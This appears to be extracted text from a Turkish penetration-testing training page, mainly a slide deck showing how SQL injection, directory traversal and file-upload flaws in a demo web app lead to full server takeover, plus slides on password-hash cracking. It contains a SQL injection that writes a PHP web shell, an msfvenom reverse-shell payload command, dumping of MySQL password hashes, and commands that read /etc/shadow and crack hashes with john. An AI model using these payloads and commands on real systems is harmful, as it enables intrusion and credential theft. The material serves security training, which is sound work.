Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
BTRisk Android Mobil Uygulama Denetimi Eğitimi sunumumuz aşağıdaki ana konu başlıklarından oluşmaktadır:
Mobil Uygulama Mimarisi
-Android İşletim Sistemi
-Android Rooting
-Android Güvenlik Mimarisi
-Uygulama Dili Dönüşümleri
-Dalvik Virtual Machine
ARM (Advanced Risk Machines) Mimamrisi
Mobil Uygulama Fonksiyonalitesi
Androdi Uygulama Bileşenleri
Uygulama Erişim İzinleri
Android Hacking Metodları
-Root Kontrolünü Aşma Yöntemleri
-SSL Pinning Atlatma Yöntemleri
-Android Debug Altyapısı
-Kritolu Verilerin Okunması
-IPC (Inter Process Communication) Saldırıları
-Cihaz Üzerinde Saklanan Bilgiler
-Cihaz Loglarından Sızan Bilgiler
Obfuscation (Karmaşıklaştırma) Yöntemleri
Ekran Resmi Çekme ve Recent Apps Ekran Görüntüleri
Kontrolsüz Gönderilen Broadcast Mesajları
Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
BTRisk Android Mobil Uygulama Denetimi Eğitimi sunumumuz aşağıdaki ana konu başlıklarından oluşmaktadır:
Mobil Uygulama Mimarisi
-Android İşletim Sistemi
-Android Rooting
-Android Güvenlik Mimarisi
-Uygulama Dili Dönüşümleri
-Dalvik Virtual Machine
ARM (Advanced Risk Machines) Mimamrisi
Mobil Uygulama Fonksiyonalitesi
Androdi Uygulama Bileşenleri
Uygulama Erişim İzinleri
Android Hacking Metodları
-Root Kontrolünü Aşma Yöntemleri
-SSL Pinning Atlatma Yöntemleri
-Android Debug Altyapısı
-Kritolu Verilerin Okunması
-IPC (Inter Process Communication) Saldırıları
-Cihaz Üzerinde Saklanan Bilgiler
-Cihaz Loglarından Sızan Bilgiler
Obfuscation (Karmaşıklaştırma) Yöntemleri
Ekran Resmi Çekme ve Recent Apps Ekran Görüntüleri
Kontrolsüz Gönderilen Broadcast Mesajları
Bu sunumda Web Uygulama Güvenlik Duvarları'nı (WAF) atlatma tekniklerinden bahsedilmiştir..
In this presentation, evasion and bypass techniques of Web Application Firewalls (WAF) are discussed.
MSSQL Hacking ve Post Exploitation YontemleriEyüp ÇELİK
MS-SQL sızma testlerinde ciddi bir hedef haline geldi diyebiliriz. Bu yazımda MS-SQL bilgi toplama, Brute Force, Sızma, Erişim Elde Etme, Malware (Backconnect) ve diğer Post-Exploitation işlemlerine güncel yöntemler ile değinmeye çalışacağım. Tüm bunların yanında, kendi deneyimlerim, güncel sorun ve çözümleri de ayrıca paylaşacağım.
Unix Denitim Dokümanımız aşağıdaki konu başlıklarını içermektedir:
Unix Temelleri
-Shell
-Dosya Sistemi
-Dosya-Dizin Yapıları ve Yetkiler
-Dosya ve Klasör Yönetimi
-Process
-Ağ Servisleri
-Kullanıcı Yönetimi
-Görev Zamanlayıcı (Cron)
-Loglama
-Manual Sayfaları
Unix Sistem Güvenliği Kontrolleri
-Network Servisleri
-Uzak Erişim kontrolleri
-Kritik Dosya ve Komut Erişimleri
-Süreç Takibi
-Sistem Kullanıcılıarı
-Kimlik Doğrulama
-Kapasite ve Sistem Performans Takibi
-Güvenlik Kontrolleri ile İlgili İpuçları
Yazılım Güvenliği Yönetimi Eğitimimiz aşağıdaki konu başlıklarını içermektedir:
Güvenli Yazılım Geliştirme Modelleri
-TOUCHPOINTS
-Secure Development Lifecycle (Microsoft)
-CLASP (Comprehensive, Lightweight Application Security Process)
Risk Yönetimi
Güvenlik Gereksinim Analizi
Teknik Riskler
Sızma Testi ve Statik Kod Analizi
Güvenlik Operasyonu
OWASP/TR Mobil Güvenlik Çalıştayı, Android Uygulamalara Zararlı Yazılım Yerlestirme Sunumu
Android Uygulamara Zararlı Yazılım Yerleştirme konusuda daha fazlasını öğrenmek için tıklayınız. http://blog.btrisk.com/2015/08/android-uygulamalara-malware-yerlestirme-1.html
Bilgi güvenliğinin maliyeti güvenlik harcamaları ile oluşan güvenlik olaylarının maliyetlerinin toplamından oluşmaktadır. Güvenlik harcamaları ile güvenlik olaylarının maliyetleri arasında ise ters ortantı bulunmaktadır. Ancak harcamaların öncelikli alanlara yapılmaması durumunda olayların optimum miktarda azaltılamaması ile sonuçlanabilir.
ISO27001, bilgi güvenliği problemlerinin ele alınmasını ve yönetilmesini destekleyen bir yönetim sistemi standardıdır. Belgelendirmeye tabi tutulması, düzenleyiciler tarafından düzenlemelere konu edilmesi, bilgi paylaşımını gerektiren tedarik süreçlerinde şartname şartlarından biri haline gelmesi nedeniyle popülerliği gittikçe artan bir standarttır.
Web uygulamaları dağıtım kolaylığı nedeniyle masaüstü uygulamalara üstünlük sağlamış ve geniş uygulama alanı bulmuştur. Bunun yanı sıra internete açık olan uygulamaların önemli bir kısmı da web uygulaması şeklindedir. Web uygulaması olmayan masaüstü uygulamalar ve mobil uygulamalar dahi web uygulama mimarisinin önemli bir kısmı olan HTTP protokolünü kullanmaktadır.
Bunların yanı sıra web uygulamaları çok katmanlı mimariye sahip olup, bu durum nispeten web uygulama altyapılarının sıradan masaüstü uygulamalara nazaran karmaşık olmalarına neden olmaktadır.
Tüm bu nedenlerden dolayı web uygulamaları saldırganların gözde hedeflerinden birisidir.
Web uygulama denetimi eğitiminde katılımcılara web uygulamalarında ortaya çıkabilecek açıklıkların neler olduğu, bu açıklıkları nasıl tespit edebilecekleri ve açıklıkların ortadan kaldırılma yöntemleri aktarılmaktadır.
Web uygulama denetimi eğitimi, mobil uygulama denetimi yapacak katılımcılara da gerekli temel web teknolojileri bilgilerini aktarmayı hedeflemektedir.
Bilgi sistemlerine yönelik veya bilgi sistemleri kullanılarak işlenen suçlar ve gerçekleştirilen saldırılar bu sistemler üzerinde izler bırakmaktadır. Ayrıca sistem hafızalarında ve ağ üzerinde söz konusu aktivitelere ilişkin canlı analiz ile işlenen suçların izleri gözlenebilmektedir.
Bilgi sistemleri üzerindeki kalıcı ve geçici suç izlerinin elde edilmesi ve analizi için çoğunlukla ticari adli bilişim çözümlerinin kullanılması gerekmektedir. Bunun sebebi incelenecek verilerin çokluğu ve bu büyüklükteki verilerin manuel yöntemlerle makul bir zaman aralığında incelenememesidir.
Ticari çözümler kullanım kolaylığı sağlayabilmek için pek çok teknik detayı kullanıcılardan gizlemektedirler. Ancak kullanıcıların temel teknik bilgilere sahip olmaması uzmanlıklarının sınırlanmasına ve olası problemlere karşı etkili çözümler geliştirememelerine yol açmaktadır.
Web uygulamaları dağıtım kolaylığı nedeniyle masaüstü uygulamalara üstünlük sağlamış ve geniş uygulama alanı bulmuştur. Bunun yanı sıra internete açık olan uygulamaların önemli bir kısmı da web uygulaması şeklindedir. Web uygulaması olmayan masaüstü uygulamalar ve mobil uygulamalar dahi web uygulama mimarisinin önemli bir kısmı olan HTTP protokolünü kullanmaktadır.
Bunların yanı sıra web uygulamaları çok katmanlı mimariye sahip olup, bu durum nispeten web uygulama altyapılarının sıradan masaüstü uygulamalara nazaran karmaşık olmalarına neden olmaktadır.
Tüm bu nedenlerden dolayı web uygulamaları saldırganların gözde hedeflerinden birisidir.
Web uygulama denetimi eğitiminde katılımcılara web uygulamalarında ortaya çıkabilecek açıklıkların neler olduğu, bu açıklıkları nasıl tespit edebilecekleri ve açıklıkların ortadan kaldırılma yöntemleri aktarılmaktadır.
Web uygulama denetimi eğitimi, mobil uygulama denetimi yapacak katılımcılara da gerekli temel web teknolojileri bilgilerini aktarmayı hedeflemektedir.
www.btrisk.com
4. İÇERİK
• Web Uygulama Açıklıklarının Önemi
• Sistem Ele Geçirmeye Yol Açabilecek Web
Uygulama Açıklıkları
• Sistem Ele Geçirme Saldırı Ağacı
• SQL Injection Senaryosu
• Dizin Aşım Senaryosu
• Dosya Yükleme Senaryosu
• Web Saldırılarına Etki Eden Faktörler
• SQLMAP Aracının Etkinliği
5. WEB UYGULAMA AÇIKLIKLARININ ÖNEMİ
Web uygulama açıklıkları sadece veri sızması veya suistimale
imkan tanımaz.
Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne
kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar
sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine
imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha
etkili saldırı yapabilecek bir konuma erişmiş olur.
Bu nedenle web uygulamalarının kritikliklerini değerlendirirken
mutlaka web uygulamasının ve bu uygulamanın kullandığı
veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de
dikkate alınmalıdır.
6. SİSTEM ELE GEÇİRMEYE YOL AÇABİLECEK
WEB UYGULAMA AÇIKLIKLARI
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web
uygulama açıklıkları şunlardır* (rastlanma sıklığına göre
sıralanmıştır):
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
7. SİSTEM ELE GEÇİRME SALDIRI AĞACI
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
8. SQL INJECTION SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
9. SQL INJECTION SENARYOSU
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu
öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection
yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı
fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web
uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya
yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
10. SQL INJECTION SENARYOSU
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
Uygulamamızın aldığı parametrelerden birisi de Fatura
Detaylarım fonksiyonundaki "id" parametresi
UYGULAMA ERİŞİMİ İÇİN !
Kullanıcı Kodu: 5550000002
Parola: 1
11. SQL INJECTION SENARYOSU
Bu parametreyi "'" işareti ile değiştirdiğimizde PHP kodu
içinde bulunan MySQL API'leri hata üretiyor. Bunun nedeni
veritabanına giden SQL cümlesinin yapısını bozmuş olmamız.
12. SQL INJECTION SENARYOSU
SQL cümlesinin yapısını bozmadan kendi istediğimiz işlemleri veritabanı sunucusuna
yaptırabilmek için UNION SELECT deyimini kullanıyoruz. Ancak bu deyimi
kullanabilmek için iki koşulu yerine getirmemiz gerekiyor:
• SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması
• SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu
bulunmaması
13. SQL INJECTION SENARYOSU
2 parametre de yeterli olmuyor.
Denemeye devam etmeliyiz.
Burada SELECT deyiminin yanında
numerik sabit değerler
kullanmamızın nedeni numerik
verilerin string veriler ile uyumlu
olması. Ancak tersi söz konusu
değil. Bir başka yöntem de NULL
sabitinin kullanılması olabilirdi.
Bu arada "--" işaretlerinden sonra konan
boşluk karakteri MySQL'in bir kuralı olduğu
için konuluyor. Ondan sonra gelen bir rakam
da bu boşluğun net biçimde görülebilmesi için
genellikle kullanılır. MySQL'in comment
karakterlerinden birisi de "#" işaretidir. Ancak
bunu browser'da kullanırsak browser URL'in
burada bittiğini düşünerek iletmiyor. Bu
değeri Burp üzerinde Repeater modülünde
kullanabilirsiniz.
15. SQL INJECTION SENARYOSU
Slayt'larda görünmemekle birlikte sayfada aşağıda halen hata alan
başka bir kod bölümü daha var. Muhtemelen girdiğimiz parametre
bir başka sorguda daha kullanılıyor. Bu gariplik SQLMAP gibi
araçların kafasını karıştıran etkenlerden birisi olabiliyor.
16. SQL INJECTION SENARYOSU
UNION SELECT 1,2,3,4,5,"<?php
System($_REQUEST['cmd']); ?>" INTO OUTFILE
'C:wampwwwcmd.php'-- 2
MySQL'in INTO OUTFILE deyimi sayesinde hedef sunucu üzerinde bir
PHP kodu yazabildik. Tabi güvenlik ayarları yükseltilmiş MySQL
sunucularında bu mümkün olmayabilir !
17. SQL INJECTION SENARYOSU
Dosyamızın başarı ile oluşup oluşmadığını
örnekteki gibi herhangi bir işletim sistemi
komutunu "cmd" parametresine yazarak
deneyelim.
/cmd.php?cmd=ipconfig
19. SQL INJECTION SENARYOSU
Ancak "URL encode as you type"
seçeneğini aktif hale getirmeyi
unutmayalım. Browser bizim için
URL'de girdiğimiz karakterleri
URL encode ediyordu.
Repeater'da aynı işlemi
yapabilmek için bu seçeneği aktif
hale getirmeliyiz.
23. SQL INJECTION SENARYOSU
cmd.Php uygulamamız aracılığı ile script'imizi daha kolay oluşturabilmek için
Burp'ün Intruder modülünü kullanabiliriz.
Burp'te payload satırlarımızın yerleşmesi gereken yeri belirtiyoruz.
32. SQLMAP KULLANIMI
Sqlmap ile SQL injection saldırısını yapabilmek için öncelikle
geçerli cookie'leri kullanmamız lazım, çünkü açıklık barındıran
sayfamıza geçerli bir oturum cookie'si ile erişebiliyoruz
35. SQL INJECTION SENARYOSU
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-
operating-system-full-control-whitepaper-4633857
36. DİZİN AŞIM SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
37. DİZİN AŞIM SENARYOSU
Tanımlamalar /
Bilgilerim menüsünde
PDF linklerine yapılan
istekle ilgili fonksiyonda
bir dizin aşım açıklığı
bulunuyor
40. DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
41. DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'
IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
42. DİZİN AŞIM SENARYOSU
nikto taraması sonucunda web
sunucusu üzerinde config.php
adlı bir dosyanın bulunduğunu
tespit edebildik
44. DİZİN AŞIM SENARYOSU
"nmap" taramasında sunucu
üzerindeki MySQL sunucusuna
uzaktan erişebildiğimizi görebiliriz
45. DİZİN AŞIM SENARYOSU
select "test" into outfile "c:wampwwwtest.txt";
mysql --host=192.168.152.128 --user=root --password=btrisk
Bu noktadan sonra yazılacak bir web
uygulaması aracılığı ile OS komutları
çalıştırılabilir ve bir payload
yüklenerek sistem ele geçirilebilir.
46. DİZİN AŞIM SENARYOSU
select user,host,password from mysql.user;
| root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
| markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C |
Elde ettiğimiz hash değerlerini
daha sonra parola kırma amacıyla
kullanacağız
47. DİZİN AŞIM SENARYOSU
MySQL veritabanına SQL injection
yapabilmemiz halinde LOAD_FILE
fonksiyonu ile de herhangi bir
dosyaya erişmemiz mümkün
olabilirdi.
48. DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı,
sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin
tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı
bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi
bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için
kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini
barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
49. DOSYA YÜKLEME SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
52. DOSYA YÜKLEME SENARYOSU
Target modülünde bu dosya ismine bir
referans olup olmadığını görmek için
"Show all" düğmesine tıklayarak "images"
türü referansları da görmeye başlayabiliriz
53. DOSYA YÜKLEME SENARYOSU
profile_photo dizini altında 2.jpg
dosyasına bir referans görebiliyoruz
Eğer profil fotoğrafını güncellersek
dosyamızın yerleştirileceği dizinin
profile_photo dizini olması muhtemel
54. DOSYA YÜKLEME SENARYOSU
Dosya Yükleme Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya
yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından
faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası
oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz
uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme
yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu
prosesinin hakları ile sisteme erişeceğiz.
55. DOSYA YÜKLEME SENARYOSU
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129
LPORT=5555 -e php/base64 -f raw > payload.php
PHP payload'unun
başına ve sonuna
"<?php" ve "?>"
tag'lerini koymayı
unutmayınız
56. DOSYA YÜKLEME SENARYOSU
Uygulama geliştirici
HTML kodu içinde
yüklenebilecek dosya
türlerini kısıtlamış
Ancak bu kısıtı aşmak
dosya uzantısını aşmak
veya bir resim seçtikten
sonra araya girerek
dosya içeriğini
değiştirmek kadar kolay
62. DOSYA YÜKLEME SENARYOSU
Php payload'unun shell
erişimi malesef stabil değil
Bu nedenle bu noktadan
sonra meterpreter ile başka
bir binary payload yüklenerek
daha stabil bir bağlantı
sağlanabilir
63. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
SQL injection açıklığı için
• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin
verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
64. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
Payload seçimi, payload yükleme yöntemi seçimi için
• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya
sonradan yüklenmiş dosya transfer komut imkanları
nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload
kullanmayı tercih edeceğiz?
65. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
Erişim bilgileri ele geçirildiğinde
• İşletim sistemi üzerinde hangi servisler aktiftir?
Uygulama dilinin tespiti
• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için
67. SQLMAP ARACININ ETKİNLİĞİ
Öncelikle açıklığın bulunduğu sayfaya tanılanmış bir
admin kullanıcısı ile erişebileceğimizi senaryo
çalışması sırasında da görmüştük.
68. SQLMAP ARACININ ETKİNLİĞİ
Sayfaya tanılanmış bir kullanıcı
olarak erişebilmek için öncelikle
daha önce tespit ettiğimiz admin
kullanıcı parolasıyla giriş yapacağız.
Hedef sayfaya da authenticate
olduktan sonra elde ettiğimiz cookie
ile erişebileceğiz. Bu cookie'yi elde
edebilmek için iletişimimizi bir
attack proxy üzerinden geçireceğiz.
73. SQLMAP ARACININ ETKİNLİĞİ
Sqlmap'e gerekli cookie parametresi
ve hedef daraltmak için injection
yapılabilecek hedef parametre ve
veritabanı sunucu tipini de veriyoruz.
74. SQLMAP ARACININ ETKİNLİĞİ
SQLMAP bizim açıkça gördüğümüz
keyword parametresinin SQLi
açıklığına sahip olma durumunu tespit
edemiyor.
75. SQLMAP ARACININ ETKİNLİĞİ
SQLMAP neden başarılı olamadı?
• Öncelikle "keyword" parametresine bir tırnak işareti ile istek
yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir.
Bu açıdan SQLMAP beklentinin altında kalmıştır.
• POC payload'una baktığımızda injection yapılabilir
parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir.
Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi
ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT
açıklığını tespit edememesi anlaşılabilir.
http://[host]/admin/index.php?app=users&ajax=1&action=search
&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO
OUTFILE '/tmp/.class.php' -- 2
77. İÇERİK
• Parola Saldırı Türleri
• Hashing Algoritması
• Salt Yöntemi
• Rainbow Tables & Online Crackers
• Linux Hash Kırma
• Windows Hash Kırma
• MySQL Hash Kırma
• Çevrimiçi (Online) Parola Kırma
78. PAROLA SALDIRI TÜRLERİ
Parola hash bilgisine sahip olma durumuna göre:
• Çevrimdışı (offline) parola saldırıları – Hash var
• Çevrimiçi (online) parola saldırıları – Hash yok,
uzaktan veya sistem üzerinde dinamik olarak
Parola üretme yöntemine göre:
• Sözlük (dictionary) saldırıları
• Kaba kuvvet (brute force) saldırıları
• Hibrit saldırılar (sözlükten türetilmiş parola listesi)
79. HASHING ALGORİTMASI
Hashing tek yönlü (yani üretilen değerden geri
dönülemez) bir algoritmadır.
İyi bir hash algoritmasının iki temel özelliği olmalıdır:
• Düşük çarpışma (collusion) olasılığı, yani aynı hash
değerini üretecek farklı bir girdi bulma ihtimalinin
düşük olması
• Çığ (avalanche) etkisi, yani hash'i hesaplanan verinin
herhangi bir yerindeki bir değişikliğin tüm hash
değerini etkilemesi
80. SALT YÖNTEMİ
Parola saklamak için hashing yönteminin ilk kullanıldığı
yerlerden birisi Unix sistemlerdir. Unix sistemler çok
kullanıcılı olup tüm kullanıcıların kullanma ihtiyacı olan
komutlar nedeniyle (who gibi) /etc/passwd dosyasına
erişme hakkı vardır. Shadow dosya kontrolü henüz yok
iken kullanıcılar diğer kullanıcıların parola hash'lerini
görebildiklerinden parolası aynı olan kullanıcıların kendi
parolalarını bildiklerinden diğer kullanıcıların da
parolalarını keşfetme imkanı vardı.
Bu problem nedeniyle Unix sistemler üzerinde parola
hash'leri hesaplanırken bir de salt (tuz) değeri kullanılır.
81. RAINBOW TABLES & ONLINE CRACKERS
Salt kullanılmayan hash değerleri için
önceden hesaplanmış parola
hash'lerini kullanarak hızlı parola
kırma imkanı bulunmaktadır.
83. LINUX HASH KIRMA
Kali bilgisayarımızın kullandığı hash
algoritması SHA512
Ayrıca parola hash'inin (daha sonra hash
değerini göreceğiz) başındaki "$6" ifadesi
many rounds anlamına geliyor
Öntanımlı round sayısının ise 5000
olduğunu bu dosyada görebiliyoruz.
84. LINUX HASH KIRMA
Passwd dosyasında kullanı adını ve id
bilgisini görüyoruz.
Kullanıcı id'si "0" root kullanıcısı olduğu
anlamına geliyor. (Unix'te kullanıcı adı
önemli değildir, önemli olan kullanıcı
id'sidir)
Parola alanlarında ise "x" ifadesi geçiyor,
çünkü parola hash değerleri shadow
dosyasında yer alıyor.
85. LINUX HASH KIRMA
Parola hash değerlerini ise shadow
dosyasında görüyoruz. Bu dosyayı root
kullanıcısı ve shadow grubu dışındaki
kullanıcılar göremezler.
"*" ve "!" değerleri hiçbir parola hash'i bu
değerlerle eşleşmeyeceği için bu
hesaplarla logon olunamaz anlamına gelir.
86. LINUX HASH KIRMA
# unshadow /etc/passwd /etc/shadow > pwdhash.txt
"john" parola kırma aracı Unix hash'lerini
tek bir dosyada beklediği için "unshadow"
aradı ile her iki dosyayı hash içeren
passwd dosyası haline dönüştürüyoruz.
87. LINUX HASH KIRMA
# grep -i ankara /usr/share/wordlists/rockyou.txt > dict.txt
# awk -F: '{print $1}' /etc/passwd >> dict.txt
Yapacağımız çalışmada kaba kuvvet yöntemini kullanabiliriz,
ancak bu günler, aylar veya daha uzun sürebilir. Örneğimizde
hedef kullanıcıların Ankara'lı olduğu veya Ankara ile ilişkili
olduğunu bildiğimizi varsayalım.
Bu senaryoya göre büyük bir parola dosyasından içinde "ankara"
kelimesi (büyük harf küçük harf duyarsız biçimde) geçen
parolaları seçiyoruz. Bir başka yöntem de parola politikasını
biliyorsak böyle bir dosyadan belirli uzunluktaki parolaları ayırma
yöntemi olabilir (# awk -F: 'length($1)==6' filename.txt gibi)
Bu dosyaya ayrıca kullanıcı adlarını ekliyoruz.
88. LINUX HASH KIRMA
# john --wordlist=dict.txt --rules pwdhash.txt
John'a bir sözlük verdiğimiz gibi onun --rules özelliğini kullanarak bu sözlükteki kelimeleri
dönüştürmesini de istiyoruz.
John'un uyguladığı kurallardan birisinin de sözlükteki kelimelerin tersten yazılışı olduğu
görülüyor, çünkü bizim sözlüğümüzde kullanıcı adları vardı, ancak "root"un parolasının
"toor" olduğunu bulabildi.
90. WINDOWS HASH KIRMA
Windows Vista / Windows Server
2008'den itibaren LM hash'leri
öntanımlı olarak iptal edilmiştir.LM Hash
Algoritması
91. WINDOWS HASH KIRMA
Windows 7'den aldığımız LM
Hash'inin her iki parçası da boş
Kırılan LM Hash parçaları en
fazla 7 karakter ve hepsi büyük
harf aad3b435b51404eeaad3b435b51404ee
93. WINDOWS HASH KIRMA
